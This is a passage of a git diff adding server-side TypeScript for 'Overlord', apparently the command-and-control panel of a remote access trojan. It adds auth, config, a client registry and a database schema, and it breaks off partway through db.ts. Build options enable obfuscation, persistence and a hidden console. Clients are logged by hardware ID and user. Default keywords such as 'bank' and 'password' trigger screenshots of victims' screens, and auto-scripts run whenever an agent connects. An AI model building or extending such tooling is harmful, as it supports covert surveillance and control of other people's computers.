diff --git a/Overlord-Server/src/auth.test.ts b/Overlord-Server/src/auth.test.ts
new file mode 100644
index 0000000..9c9c65b
--- /dev/null
+++ b/Overlord-Server/src/auth.test.ts
@@ -0,0 +1,18 @@
+import { describe, expect, test } from "bun:test";
+import { extractTokenFromCookie, extractTokenFromHeader } from "./auth";
+
+describe("auth token extraction", () => {
+ test("extractTokenFromHeader returns bearer token", () => {
+ expect(extractTokenFromHeader("Bearer abc123")).toBe("abc123");
+ expect(extractTokenFromHeader("Basic abc123")).toBeNull();
+ });
+
+ test("extractTokenFromCookie finds overlord_token", () => {
+ const cookie = "other=1; overlord_token=token123; theme=dark";
+ expect(extractTokenFromCookie(cookie)).toBe("token123");
+ });
+
+ test("extractTokenFromCookie returns null when missing", () => {
+ expect(extractTokenFromCookie("foo=bar")).toBeNull();
+ });
+});
diff --git a/Overlord-Server/src/auth.ts b/Overlord-Server/src/auth.ts
new file mode 100644
index 0000000..4f4f04c
--- /dev/null
+++ b/Overlord-Server/src/auth.ts
@@ -0,0 +1,226 @@
+import { SignJWT, jwtVerify } from "jose";
+import { getConfig } from "./config";
+import {
+ verifyPassword,
+ getUserByUsername,
+ getUserById,
+ type User,
+ type UserRole,
+} from "./users";
+
+const JWT_ISSUER = "overlord-server";
+const JWT_AUDIENCE = "overlord-client";
+const JWT_EXPIRATION = "7d";
+
+const tokenBlacklist = new Set();
+
+const tokenCache = new Map<
+ string,
+ { payload: JWTPayload; timestamp: number }
+>();
+const TOKEN_CACHE_TTL = 5000;
+
+function getSecretKey(): Uint8Array {
+ const config = getConfig();
+ return new TextEncoder().encode(config.auth.jwtSecret);
+}
+
+export interface JWTPayload {
+ sub: string;
+ userId: number;
+ role: UserRole;
+ iat: number;
+ exp: number;
+ iss: string;
+ aud: string;
+}
+
+export interface AuthenticatedUser {
+ username: string;
+ userId: number;
+ role: UserRole;
+}
+
+export async function generateToken(user: User): Promise {
+ const token = await new SignJWT({
+ sub: user.username,
+ userId: user.id,
+ role: user.role,
+ })
+ .setProtectedHeader({ alg: "HS256" })
+ .setIssuedAt()
+ .setIssuer(JWT_ISSUER)
+ .setAudience(JWT_AUDIENCE)
+ .setExpirationTime(JWT_EXPIRATION)
+ .sign(getSecretKey());
+
+ return token;
+}
+
+export async function verifyToken(token: string): Promise {
+ if (tokenBlacklist.has(token)) {
+ return null;
+ }
+
+ const cached = tokenCache.get(token);
+ if (cached) {
+ const age = Date.now() - cached.timestamp;
+ if (age < TOKEN_CACHE_TTL) {
+ return cached.payload;
+ } else {
+ tokenCache.delete(token);
+ }
+ }
+
+ try {
+ const { payload } = await jwtVerify(token, getSecretKey(), {
+ issuer: JWT_ISSUER,
+ audience: JWT_AUDIENCE,
+ });
+
+ const jwtPayload: JWTPayload = {
+ sub: payload.sub as string,
+ userId: payload.userId as number,
+ role: payload.role as UserRole,
+ iat: payload.iat as number,
+ exp: payload.exp as number,
+ iss: payload.iss as string,
+ aud: payload.aud as string,
+ };
+
+ tokenCache.set(token, { payload: jwtPayload, timestamp: Date.now() });
+
+ return jwtPayload;
+ } catch (error) {
+ return null;
+ }
+}
+
+export function revokeToken(token: string): void {
+ tokenBlacklist.add(token);
+ tokenCache.delete(token);
+ console.log("[auth] Token revoked");
+}
+
+export async function cleanupBlacklist(): Promise {
+ const now = Math.floor(Date.now() / 1000);
+ let cleaned = 0;
+
+ for (const token of tokenBlacklist) {
+ try {
+ const { payload } = await jwtVerify(token, getSecretKey(), {
+ issuer: JWT_ISSUER,
+ audience: JWT_AUDIENCE,
+ });
+
+ if (payload.exp && payload.exp < now) {
+ tokenBlacklist.delete(token);
+ cleaned++;
+ }
+ } catch {
+ tokenBlacklist.delete(token);
+ cleaned++;
+ }
+ }
+
+ const cacheNow = Date.now();
+ let cacheCleared = 0;
+ for (const [token, entry] of tokenCache.entries()) {
+ if (cacheNow - entry.timestamp > TOKEN_CACHE_TTL * 2) {
+ tokenCache.delete(token);
+ cacheCleared++;
+ }
+ }
+
+ if (cleaned > 0 || cacheCleared > 0) {
+ console.log(
+ `[auth] Cleaned up ${cleaned} expired tokens from blacklist, ${cacheCleared} from cache`,
+ );
+ }
+}
+
+setInterval(cleanupBlacklist, 60 * 60 * 1000);
+
+export async function authenticateUser(
+ username: string,
+ password: string,
+): Promise {
+ return await verifyPassword(username, password);
+}
+
+export function extractTokenFromHeader(
+ authHeader: string | null,
+): string | null {
+ if (!authHeader || !authHeader.startsWith("Bearer ")) {
+ return null;
+ }
+ return authHeader.substring(7);
+}
+
+export function extractTokenFromCookie(
+ cookieHeader: string | null,
+): string | null {
+ if (!cookieHeader) {
+ return null;
+ }
+
+ const cookies = cookieHeader.split(/;\s*/);
+ for (const cookie of cookies) {
+ const [name, value] = cookie.split("=");
+ if (name === "overlord_token") {
+ return value;
+ }
+ }
+
+ return null;
+}
+
+export async function authenticateRequest(
+ req: Request,
+): Promise {
+ const authHeader = req.headers.get("Authorization");
+ let token = extractTokenFromHeader(authHeader);
+
+ if (!token) {
+ const cookieHeader = req.headers.get("Cookie");
+ token = extractTokenFromCookie(cookieHeader);
+ }
+
+ if (!token) {
+ return null;
+ }
+
+ const payload = await verifyToken(token);
+ if (!payload) {
+ return null;
+ }
+
+ const user = getUserById(payload.userId);
+ if (!user) {
+ return null;
+ }
+
+ return {
+ username: payload.sub,
+ userId: payload.userId,
+ role: payload.role,
+ };
+}
+
+export async function getUserFromRequest(
+ req: Request,
+): Promise {
+ return await authenticateRequest(req);
+}
+
+export function extractTokenFromRequest(req: Request): string | null {
+ const authHeader = req.headers.get("Authorization");
+ let token = extractTokenFromHeader(authHeader);
+
+ if (!token) {
+ const cookieHeader = req.headers.get("Cookie");
+ token = extractTokenFromCookie(cookieHeader);
+ }
+
+ return token;
+}
diff --git a/Overlord-Server/src/build/buildManager.ts b/Overlord-Server/src/build/buildManager.ts
new file mode 100644
index 0000000..339f287
--- /dev/null
+++ b/Overlord-Server/src/build/buildManager.ts
@@ -0,0 +1,23 @@
+import type { BuildStream } from "./types";
+
+const activeBuildStreams = new Map();
+
+export function addBuildStream(id: string, build: BuildStream): void {
+ activeBuildStreams.set(id, build);
+}
+
+export function getBuildStream(id: string): BuildStream | undefined {
+ return activeBuildStreams.get(id);
+}
+
+export function deleteBuildStream(id: string): boolean {
+ return activeBuildStreams.delete(id);
+}
+
+export function getAllBuildStreams(): Map {
+ return activeBuildStreams;
+}
+
+export function hasBuildStream(id: string): boolean {
+ return activeBuildStreams.has(id);
+}
diff --git a/Overlord-Server/src/build/types.ts b/Overlord-Server/src/build/types.ts
new file mode 100644
index 0000000..f4fff11
--- /dev/null
+++ b/Overlord-Server/src/build/types.ts
@@ -0,0 +1,23 @@
+export type BuildStream = {
+ id: string;
+ controllers: ReadableStreamDefaultController[];
+ status: "running" | "completed" | "failed";
+ startTime: number;
+ expiresAt: number;
+ files: { name: string; size: number; platform?: string }[];
+ updates?: any[];
+};
+
+export type BuildConfig = {
+ platforms: string[];
+ serverUrl?: string;
+ rawServerList?: boolean;
+ mutex?: string;
+ disableMutex?: boolean;
+ stripDebug?: boolean;
+ disableCgo?: boolean;
+ obfuscate?: boolean;
+ enablePersistence?: boolean;
+ hideConsole?: boolean;
+ noPrinting?: boolean;
+};
diff --git a/Overlord-Server/src/certGenerator.ts b/Overlord-Server/src/certGenerator.ts
new file mode 100644
index 0000000..3aa588e
--- /dev/null
+++ b/Overlord-Server/src/certGenerator.ts
@@ -0,0 +1,165 @@
+import { spawn } from "child_process";
+import { existsSync, mkdirSync } from "fs";
+import { dirname } from "path";
+
+interface CertOptions {
+ certPath: string;
+ keyPath: string;
+ commonName?: string;
+ daysValid?: number;
+ additionalIPs?: string[];
+}
+
+export function certificatesExist(certPath: string, keyPath: string): boolean {
+ return existsSync(certPath) && existsSync(keyPath);
+}
+
+export async function generateSelfSignedCert(
+ options: CertOptions,
+): Promise {
+ const {
+ certPath,
+ keyPath,
+ commonName = "localhost",
+ daysValid = 3650,
+ additionalIPs = [],
+ } = options;
+
+ const certDir = dirname(certPath);
+ if (!existsSync(certDir)) {
+ mkdirSync(certDir, { recursive: true });
+ }
+
+ console.log("[TLS] Generating self-signed certificate...");
+ console.log(`[TLS] Common Name: ${commonName}`);
+ console.log(`[TLS] Valid for: ${daysValid} days`);
+
+ const sanConfig = `
+[req]
+default_bits = 2048
+prompt = no
+default_md = sha256
+distinguished_name = dn
+req_extensions = req_ext
+x509_extensions = v3_ca
+
+[dn]
+C=US
+ST=State
+L=City
+O=Overlord
+OU=IT
+CN=${commonName}
+
+[req_ext]
+subjectAltName = @alt_names
+
+[v3_ca]
+subjectAltName = @alt_names
+basicConstraints = CA:FALSE
+keyUsage = nonRepudiation, digitalSignature, keyEncipherment
+extendedKeyUsage = serverAuth
+
+[alt_names]
+DNS.1 = ${commonName}
+DNS.2 = localhost
+DNS.3 = *.local
+IP.1 = 127.0.0.1
+IP.2 = ::1
+${additionalIPs.map((ip, i) => `IP.${i + 3} = ${ip}`).join("\n")}
+`;
+
+ const configPath = `${certDir}/openssl.cnf`;
+
+ try {
+ await Bun.write(configPath, sanConfig);
+
+ await execCommand("openssl", [
+ "req",
+ "-x509",
+ "-newkey",
+ "rsa:2048",
+ "-nodes",
+ "-keyout",
+ keyPath,
+ "-out",
+ certPath,
+ "-days",
+ daysValid.toString(),
+ "-config",
+ configPath,
+ ]);
+
+ try {
+ await Bun.file(configPath)
+ .text()
+ .then(() => {
+ spawn("rm", ["-f", configPath]);
+ });
+ } catch {}
+
+ console.log(`[TLS] ✓ Certificate generated successfully`);
+ console.log(`[TLS] Certificate: ${certPath}`);
+ console.log(`[TLS] Private Key: ${keyPath}`);
+ } catch (error) {
+ console.error("[TLS] Failed to generate certificate:", error);
+ throw new Error(`Certificate generation failed: ${error}`);
+ }
+}
+
+function execCommand(command: string, args: string[]): Promise {
+ return new Promise((resolve, reject) => {
+ const proc = spawn(command, args);
+ let stdout = "";
+ let stderr = "";
+
+ proc.stdout?.on("data", (data) => {
+ stdout += data.toString();
+ });
+
+ proc.stderr?.on("data", (data) => {
+ stderr += data.toString();
+ });
+
+ proc.on("close", (code) => {
+ if (code === 0) {
+ resolve(stdout);
+ } else {
+ reject(new Error(`Command failed with code ${code}: ${stderr}`));
+ }
+ });
+
+ proc.on("error", (err) => {
+ reject(new Error(`Failed to execute ${command}: ${err.message}`));
+ });
+ });
+}
+
+export async function isOpenSSLAvailable(): Promise {
+ try {
+ await execCommand("openssl", ["version"]);
+ return true;
+ } catch {
+ return false;
+ }
+}
+
+export function getLocalIPs(): string[] {
+ try {
+ const os = require("os");
+ const interfaces = os.networkInterfaces();
+ const ips: string[] = [];
+
+ for (const name of Object.keys(interfaces)) {
+ for (const iface of interfaces[name]) {
+ if (iface.family === "IPv4" && !iface.internal) {
+ ips.push(iface.address);
+ }
+ }
+ }
+
+ return ips;
+ } catch {
+ return [];
+ }
+}
diff --git a/Overlord-Server/src/clientManager.ts b/Overlord-Server/src/clientManager.ts
new file mode 100644
index 0000000..a64eb95
--- /dev/null
+++ b/Overlord-Server/src/clientManager.ts
@@ -0,0 +1,33 @@
+import type { ClientInfo } from "./types";
+
+const clients = new Map();
+
+export function addClient(id: string, info: ClientInfo): void {
+ clients.set(id, info);
+}
+
+export function getClient(id: string): ClientInfo | undefined {
+ return clients.get(id);
+}
+
+export function deleteClient(id: string): boolean {
+ return clients.delete(id);
+}
+
+export function hasClient(id: string): boolean {
+ return clients.has(id);
+}
+
+export function getAllClients(): Map {
+ return clients;
+}
+
+export function getClientCount(): number {
+ return clients.size;
+}
+
+export function getOnlineClients(): ClientInfo[] {
+ return Array.from(clients.values()).filter(
+ (c) => c.lastSeen && Date.now() - c.lastSeen < 60000,
+ );
+}
diff --git a/Overlord-Server/src/config.ts b/Overlord-Server/src/config.ts
new file mode 100644
index 0000000..99c3c60
--- /dev/null
+++ b/Overlord-Server/src/config.ts
@@ -0,0 +1,341 @@
+import { existsSync, readFileSync, writeFileSync } from "fs";
+import { writeFile, mkdir } from "fs/promises";
+import { resolve } from "path";
+import logger from "./logger";
+import { ensureDataDir } from "./paths";
+
+export interface Config {
+ auth: {
+ username: string;
+ password: string;
+ jwtSecret: string;
+ agentToken: string;
+ };
+ server: {
+ port: number;
+ host: string;
+ };
+ tls: {
+ certPath: string;
+ keyPath: string;
+ caPath: string;
+ };
+ notifications: {
+ keywords: string[];
+ minIntervalMs: number;
+ spamWindowMs: number;
+ spamWarnThreshold: number;
+ historyLimit: number;
+ webhookEnabled: boolean;
+ webhookUrl: string;
+ telegramEnabled: boolean;
+ telegramBotToken: string;
+ telegramChatId: string;
+ };
+}
+
+const DEFAULT_CONFIG: Config = {
+ auth: {
+ username: "admin",
+ password: "",
+ jwtSecret: "",
+ agentToken: "",
+ },
+ server: {
+ port: 5173,
+ host: "0.0.0.0",
+ },
+ tls: {
+ certPath: "./certs/server.crt",
+ keyPath: "./certs/server.key",
+ caPath: "",
+ },
+ notifications: {
+ keywords: ["bank", "password", "admin"],
+ minIntervalMs: 8000,
+ spamWindowMs: 60000,
+ spamWarnThreshold: 5,
+ historyLimit: 200,
+ webhookEnabled: false,
+ webhookUrl: "",
+ telegramEnabled: false,
+ telegramBotToken: "",
+ telegramChatId: "",
+ },
+};
+
+type SaveSecrets = {
+ auth?: {
+ jwtSecret?: string;
+ agentToken?: string;
+ bootstrapPassword?: string;
+ };
+};
+
+function generateRandomSecret(length = 48): string {
+ const chars =
+ "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*";
+ let secret = "";
+ const array = new Uint8Array(length);
+ crypto.getRandomValues(array);
+ for (let i = 0; i < length; i++) {
+ secret += chars[array[i] % chars.length];
+ }
+ return secret;
+}
+
+function loadSaveSecrets(savePath: string): SaveSecrets {
+ if (!existsSync(savePath)) {
+ return {};
+ }
+
+ try {
+ const raw = readFileSync(savePath, "utf-8");
+ const parsed = JSON.parse(raw);
+ return typeof parsed === "object" && parsed ? parsed : {};
+ } catch (error) {
+ logger.warn("Failed to parse save.json, regenerating missing secrets:", error);
+ return {};
+ }
+}
+
+function persistSaveSecrets(savePath: string, secrets: SaveSecrets): void {
+ try {
+ writeFileSync(savePath, JSON.stringify(secrets, null, 2));
+ logger.info(`Persisted secrets to ${savePath}`);
+ } catch (error) {
+ logger.warn("Failed to persist save.json secrets", error);
+ }
+}
+
+let configCache: Config | null = null;
+
+export function loadConfig(): Config {
+ if (configCache) {
+ return configCache;
+ }
+
+ let fileConfig: Partial = {};
+ const dataDir = ensureDataDir();
+ const savePath = resolve(dataDir, "save.json");
+ const savedSecrets = loadSaveSecrets(savePath);
+ let saveChanged = false;
+
+ const configPath = resolve(process.cwd(), "config.json");
+ if (existsSync(configPath)) {
+ try {
+ const content = readFileSync(configPath, "utf-8");
+ fileConfig = JSON.parse(content);
+ logger.info("Loaded configuration from config.json");
+ } catch (error) {
+ logger.warn("Failed to parse config.json, using defaults:", error);
+ }
+ } else {
+ logger.info(
+ "No config.json found, using defaults and environment variables",
+ );
+ }
+
+ const jwtSecretFromEnv = process.env.JWT_SECRET;
+ const jwtSecret =
+ process.env.JWT_SECRET ||
+ fileConfig.auth?.jwtSecret ||
+ savedSecrets.auth?.jwtSecret ||
+ DEFAULT_CONFIG.auth.jwtSecret;
+
+ let finalJwtSecret = jwtSecret;
+ if (!finalJwtSecret) {
+ finalJwtSecret = generateRandomSecret(64);
+ saveChanged = true;
+ logger.info("No JWT secret provided, generated secure random secret");
+ }
+
+ const agentTokenFromEnv = process.env.OVERLORD_AGENT_TOKEN;
+ const agentTokenFromConfig = fileConfig.auth?.agentToken;
+ let finalAgentToken =
+ agentTokenFromEnv ||
+ agentTokenFromConfig ||
+ savedSecrets.auth?.agentToken ||
+ DEFAULT_CONFIG.auth.agentToken;
+ if (!finalAgentToken) {
+ finalAgentToken = generateRandomSecret(64);
+ saveChanged = true;
+ logger.info("No agent token provided, generated secure random token");
+ }
+
+ const passwordFromEnv = process.env.OVERLORD_PASS;
+ const passwordFromConfig = fileConfig.auth?.password;
+ let finalBootstrapPassword =
+ passwordFromEnv ||
+ passwordFromConfig ||
+ savedSecrets.auth?.bootstrapPassword ||
+ DEFAULT_CONFIG.auth.password;
+ if (!finalBootstrapPassword) {
+ finalBootstrapPassword = generateRandomSecret(28);
+ saveChanged = true;
+ logger.info(
+ "No initial admin password provided, generated bootstrap password in save.json",
+ );
+ }
+
+ const keywordsEnv = process.env.OVERLORD_NOTIFICATION_KEYWORDS;
+ const keywordsFromEnv = keywordsEnv
+ ? keywordsEnv
+ .split(",")
+ .map((k) => k.trim())
+ .filter(Boolean)
+ : [];
+
+ configCache = {
+ auth: {
+ username:
+ process.env.OVERLORD_USER ||
+ fileConfig.auth?.username ||
+ DEFAULT_CONFIG.auth.username,
+ password: finalBootstrapPassword,
+ jwtSecret: finalJwtSecret,
+ agentToken: finalAgentToken,
+ },
+ server: {
+ port:
+ Number(process.env.PORT) ||
+ fileConfig.server?.port ||
+ DEFAULT_CONFIG.server.port,
+ host:
+ process.env.HOST ||
+ fileConfig.server?.host ||
+ DEFAULT_CONFIG.server.host,
+ },
+ tls: {
+ certPath:
+ process.env.OVERLORD_TLS_CERT ||
+ fileConfig.tls?.certPath ||
+ DEFAULT_CONFIG.tls.certPath,
+ keyPath:
+ process.env.OVERLORD_TLS_KEY ||
+ fileConfig.tls?.keyPath ||
+ DEFAULT_CONFIG.tls.keyPath,
+ caPath:
+ process.env.OVERLORD_TLS_CA ||
+ fileConfig.tls?.caPath ||
+ DEFAULT_CONFIG.tls.caPath,
+ },
+ notifications: {
+ keywords:
+ keywordsFromEnv.length > 0
+ ? keywordsFromEnv
+ : (fileConfig.notifications?.keywords ||
+ DEFAULT_CONFIG.notifications.keywords),
+ minIntervalMs:
+ Number(process.env.OVERLORD_NOTIFICATION_MIN_INTERVAL_MS) ||
+ fileConfig.notifications?.minIntervalMs ||
+ DEFAULT_CONFIG.notifications.minIntervalMs,
+ spamWindowMs:
+ Number(process.env.OVERLORD_NOTIFICATION_SPAM_WINDOW_MS) ||
+ fileConfig.notifications?.spamWindowMs ||
+ DEFAULT_CONFIG.notifications.spamWindowMs,
+ spamWarnThreshold:
+ Number(process.env.OVERLORD_NOTIFICATION_SPAM_WARN_THRESHOLD) ||
+ fileConfig.notifications?.spamWarnThreshold ||
+ DEFAULT_CONFIG.notifications.spamWarnThreshold,
+ historyLimit:
+ Number(process.env.OVERLORD_NOTIFICATION_HISTORY_LIMIT) ||
+ fileConfig.notifications?.historyLimit ||
+ DEFAULT_CONFIG.notifications.historyLimit,
+ webhookEnabled:
+ String(process.env.OVERLORD_NOTIFICATION_WEBHOOK_ENABLED || "").toLowerCase() === "true" ||
+ fileConfig.notifications?.webhookEnabled ||
+ DEFAULT_CONFIG.notifications.webhookEnabled,
+ webhookUrl:
+ process.env.OVERLORD_NOTIFICATION_WEBHOOK_URL ||
+ fileConfig.notifications?.webhookUrl ||
+ DEFAULT_CONFIG.notifications.webhookUrl,
+ telegramEnabled:
+ String(process.env.OVERLORD_NOTIFICATION_TELEGRAM_ENABLED || "").toLowerCase() === "true" ||
+ fileConfig.notifications?.telegramEnabled ||
+ DEFAULT_CONFIG.notifications.telegramEnabled,
+ telegramBotToken:
+ process.env.OVERLORD_NOTIFICATION_TELEGRAM_BOT_TOKEN ||
+ fileConfig.notifications?.telegramBotToken ||
+ DEFAULT_CONFIG.notifications.telegramBotToken,
+ telegramChatId:
+ process.env.OVERLORD_NOTIFICATION_TELEGRAM_CHAT_ID ||
+ fileConfig.notifications?.telegramChatId ||
+ DEFAULT_CONFIG.notifications.telegramChatId,
+ },
+ };
+
+ if (saveChanged) {
+ const nextSecrets: SaveSecrets = {
+ auth: {
+ jwtSecret: finalJwtSecret,
+ agentToken: finalAgentToken,
+ bootstrapPassword: finalBootstrapPassword,
+ },
+ };
+ persistSaveSecrets(savePath, nextSecrets);
+ logger.info(
+ `Generated runtime secrets are stored at ${savePath}. Keep this file private.`,
+ );
+ }
+
+ if (jwtSecretFromEnv) {
+ logger.info("JWT secret loaded from JWT_SECRET environment variable");
+ }
+ if (agentTokenFromEnv) {
+ logger.info("Agent token loaded from OVERLORD_AGENT_TOKEN environment variable");
+ }
+ if (passwordFromEnv) {
+ logger.info("Initial admin password loaded from OVERLORD_PASS environment variable");
+ }
+
+ return configCache;
+}
+
+export function getConfig(): Config {
+ if (!configCache) {
+ return loadConfig();
+ }
+ return configCache;
+}
+
+export async function updateNotificationsConfig(
+ updates: Partial,
+): Promise {
+ const current = getConfig();
+ const keywords = (updates.keywords || current.notifications.keywords || [])
+ .map((k) => String(k).trim())
+ .filter(Boolean);
+ const deduped = Array.from(new Set(keywords));
+
+ const next = {
+ ...current.notifications,
+ ...updates,
+ keywords: deduped,
+ };
+
+ configCache = {
+ ...current,
+ notifications: next,
+ };
+
+ const configPath = resolve(process.cwd(), "config.json");
+ let fileConfig: any = {};
+ if (existsSync(configPath)) {
+ try {
+ const content = readFileSync(configPath, "utf-8");
+ fileConfig = JSON.parse(content) || {};
+ } catch {
+ fileConfig = {};
+ }
+ }
+
+ fileConfig.notifications = next;
+
+ try {
+ await mkdir(resolve(process.cwd()), { recursive: true });
+ } catch {}
+
+ await writeFile(configPath, JSON.stringify(fileConfig, null, 2));
+ return next;
+}
diff --git a/Overlord-Server/src/db.ts b/Overlord-Server/src/db.ts
new file mode 100644
index 0000000..7b3f8dd
--- /dev/null
+++ b/Overlord-Server/src/db.ts
@@ -0,0 +1,526 @@
+import Database from "bun:sqlite";
+import { ClientInfo, ListFilters, ListResult, ClientRole } from "./types";
+import { getThumbnail } from "./thumbnails";
+import { resolve } from "path";
+import { ensureDataDir } from "./paths";
+
+const dataDir = ensureDataDir();
+const dbPath = resolve(dataDir, "overlord.db");
+const db = new Database(dbPath);
+console.log(`[db] Using database at: ${dbPath}`);
+
+db.run(`
+ CREATE TABLE IF NOT EXISTS clients (
+ id TEXT PRIMARY KEY,
+ hwid TEXT,
+ role TEXT,
+ ip TEXT,
+ host TEXT,
+ os TEXT,
+ arch TEXT,
+ version TEXT,
+ user TEXT,
+ monitors INTEGER,
+ country TEXT,
+ last_seen INTEGER,
+ online INTEGER,
+ ping_ms INTEGER
+ );
+`);
+try {
+ db.run(`ALTER TABLE clients ADD COLUMN role TEXT`);
+} catch {}
+try {
+ db.run(`ALTER TABLE clients ADD COLUMN hwid TEXT`);
+} catch {}
+try {
+ db.run(`ALTER TABLE clients ADD COLUMN ip TEXT`);
+} catch {}
+
+db.run(`
+ CREATE TABLE IF NOT EXISTS banned_ips (
+ ip TEXT PRIMARY KEY,
+ reason TEXT,
+ created_at INTEGER NOT NULL
+ );
+`);
+db.run(
+ `CREATE INDEX IF NOT EXISTS idx_banned_ips_created_at ON banned_ips(created_at DESC);`,
+);
+
+db.run(`
+ CREATE TABLE IF NOT EXISTS builds (
+ id TEXT PRIMARY KEY,
+ status TEXT NOT NULL,
+ start_time INTEGER NOT NULL,
+ expires_at INTEGER NOT NULL,
+ files TEXT NOT NULL
+ );
+`);
+
+db.run(`
+ CREATE TABLE IF NOT EXISTS notification_screenshots (
+ id TEXT PRIMARY KEY,
+ notification_id TEXT NOT NULL,
+ client_id TEXT NOT NULL,
+ ts INTEGER NOT NULL,
+ format TEXT NOT NULL,
+ width INTEGER,
+ height INTEGER,
+ bytes BLOB NOT NULL
+ );
+`);
+db.run(
+ `CREATE INDEX IF NOT EXISTS idx_notification_screenshots_notification_id ON notification_screenshots(notification_id);`,
+);
+db.run(
+ `CREATE INDEX IF NOT EXISTS idx_notification_screenshots_ts ON notification_screenshots(ts DESC);`,
+);
+
+db.run(`
+ CREATE TABLE IF NOT EXISTS auto_scripts (
+ id TEXT PRIMARY KEY,
+ name TEXT NOT NULL,
+ trigger TEXT NOT NULL,
+ script TEXT NOT NULL,
+ script_type TEXT NOT NULL,
+ enabled INTEGER NOT NULL,
+ created_at INTEGER NOT NULL,
+ updated_at INTEGER NOT NULL
+ );
+`);
+db.run(
+ `CREATE INDEX IF NOT EXISTS idx_auto_scripts_trigger ON auto_scripts(trigger, enabled);`,
+);
+
+db.run(`
+ CREATE TABLE IF NOT EXISTS auto_script_runs (
+ script_id TEXT NOT NULL,
+ client_id TEXT NOT NULL,
+ ts INTEGER NOT NULL,
+ PRIMARY KEY (script_id, client_id)
+ );
+`);
+db.run(
+ `CREATE INDEX IF NOT EXISTS idx_auto_script_runs_ts ON auto_script_runs(ts DESC);`,
+);
+
+export function upsertClientRow(
+ partial: Partial & {
+ id: string;
+ lastSeen?: number;
+ online?: number;
+ },
+) {
+ const now = partial.lastSeen ?? Date.now();
+ db.run(
+ `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, monitors, country, last_seen, online, ping_ms)
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
+ ON CONFLICT(id) DO UPDATE SET
+ hwid=COALESCE(excluded.hwid, clients.hwid),
+ role=COALESCE(excluded.role, clients.role),
+ ip=COALESCE(excluded.ip, clients.ip),
+ host=COALESCE(excluded.host, clients.host),
+ os=COALESCE(excluded.os, clients.os),
+ arch=COALESCE(excluded.arch, clients.arch),
+ version=COALESCE(excluded.version, clients.version),
+ user=COALESCE(excluded.user, clients.user),
+ monitors=COALESCE(excluded.monitors, clients.monitors),
+ country=COALESCE(excluded.country, clients.country),
+ last_seen=excluded.last_seen,
+ online=COALESCE(excluded.online, clients.online),
+ ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms)
+ `,
+ partial.id,
+ partial.hwid ?? partial.id,
+ partial.role ?? null,
+ partial.ip ?? null,
+ partial.host ?? null,
+ partial.os ?? null,
+ partial.arch ?? null,
+ partial.version ?? null,
+ partial.user ?? null,
+ partial.monitors ?? null,
+ partial.country ?? null,
+ now,
+ partial.online ?? 0,
+ partial.pingMs ?? null,
+ );
+
+ if (partial.hwid) {
+ db.run(
+ `DELETE FROM clients WHERE hwid=? AND id<>?`,
+ partial.hwid,
+ partial.id,
+ );
+ }
+}
+
+export function setOnlineState(id: string, online: boolean) {
+ db.run(
+ `UPDATE clients SET online=?, last_seen=? WHERE id=?`,
+ online ? 1 : 0,
+ Date.now(),
+ id,
+ );
+}
+
+export function deleteClientRow(id: string) {
+ db.run(`DELETE FROM clients WHERE id=?`, id);
+}
+
+export function getClientIp(id: string): string | null {
+ const row = db.query<{ ip: string }>(`SELECT ip FROM clients WHERE id=?`).get(id);
+ return row?.ip || null;
+}
+
+export function banIp(ip: string, reason?: string) {
+ db.run(
+ `INSERT OR REPLACE INTO banned_ips (ip, reason, created_at) VALUES (?, ?, ?)`
+ , ip,
+ reason || null,
+ Date.now(),
+ );
+}
+
+export function unbanIp(ip: string) {
+ db.run(`DELETE FROM banned_ips WHERE ip=?`, ip);
+}
+
+export function isIpBanned(ip: string): boolean {
+ const row = db.query<{ ip: string }>(`SELECT ip FROM banned_ips WHERE ip=?`).get(ip);
+ return !!row?.ip;
+}
+
+export function markAllClientsOffline() {
+ db.run(`UPDATE clients SET online=0`);
+ console.log("[db] marked all clients as offline");
+}
+
+export function listClients(filters: ListFilters): ListResult {
+ const { page, pageSize, search, sort, statusFilter, osFilter } = filters;
+ const where: string[] = [];
+ const params: any[] = [];
+
+ if (search) {
+ where.push(
+ "(LOWER(COALESCE(host,'')) LIKE ? OR LOWER(COALESCE(user,'')) LIKE ? OR LOWER(id) LIKE ?)",
+ );
+ const needle = `%${search}%`;
+ params.push(needle, needle, needle);
+ }
+
+ if (statusFilter === "online") {
+ where.push("online=1");
+ } else if (statusFilter === "offline") {
+ where.push("online=0");
+ }
+
+ if (osFilter && osFilter !== "all") {
+ where.push("os=?");
+ params.push(osFilter);
+ }
+
+ const whereSql = where.length ? `WHERE ${where.join(" AND ")}` : "";
+
+ const orderBy = (() => {
+ switch (sort) {
+ case "ping_asc":
+ return "ORDER BY ping_ms IS NULL, ping_ms ASC";
+ case "ping_desc":
+ return "ORDER BY ping_ms IS NULL, ping_ms DESC";
+ case "host_asc":
+ return "ORDER BY LOWER(host) ASC";
+ case "host_desc":
+ return "ORDER BY LOWER(host) DESC";
+ default:
+ return "ORDER BY last_seen DESC";
+ }
+ })();
+
+ const totalRow = db
+ .query<{ c: number }>(`SELECT COUNT(*) as c FROM clients ${whereSql}`)
+ .get(...params) ?? { c: 0 };
+ const onlineRow = db
+ .query<{ c: number }>(`SELECT COUNT(*) as c FROM clients WHERE online=1`)
+ .get() ?? { c: 0 };
+ const offset = (page - 1) * pageSize;
+
+ const rows = db
+ .query(
+ `SELECT id, hwid, role, host, os, arch, version, user, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs
+ FROM clients
+ ${whereSql}
+ ${orderBy}
+ LIMIT ? OFFSET ?`,
+ )
+ .all(...params, pageSize, offset);
+
+ const items = rows.map((c: any) => ({
+ id: c.id,
+ hwid: c.hwid,
+ role: (c.role as ClientRole) || "client",
+ lastSeen: Number(c.lastSeen) || 0,
+ host: c.host,
+ os: c.os || "unknown",
+ arch: c.arch || "arch?",
+ version: c.version || "0",
+ user: c.user,
+ monitors: c.monitors,
+ country: c.country || "ZZ",
+ pingMs: c.pingMs ?? null,
+ online: c.online === 1,
+ thumbnail: getThumbnail(c.id),
+ }));
+
+ return { page, pageSize, total: totalRow.c, online: onlineRow.c, items };
+}
+
+export type AutoScriptTrigger = "on_connect" | "on_first_connect" | "on_connect_once";
+
+export type AutoScript = {
+ id: string;
+ name: string;
+ trigger: AutoScriptTrigger;
+ script: string;
+ scriptType: string;
+ enabled: boolean;
+ createdAt: number;
+ updatedAt: number;
+};
+
+function mapAutoScriptRow(row: any): AutoScript {
+ return {
+ id: row.id,
+ name: row.name,
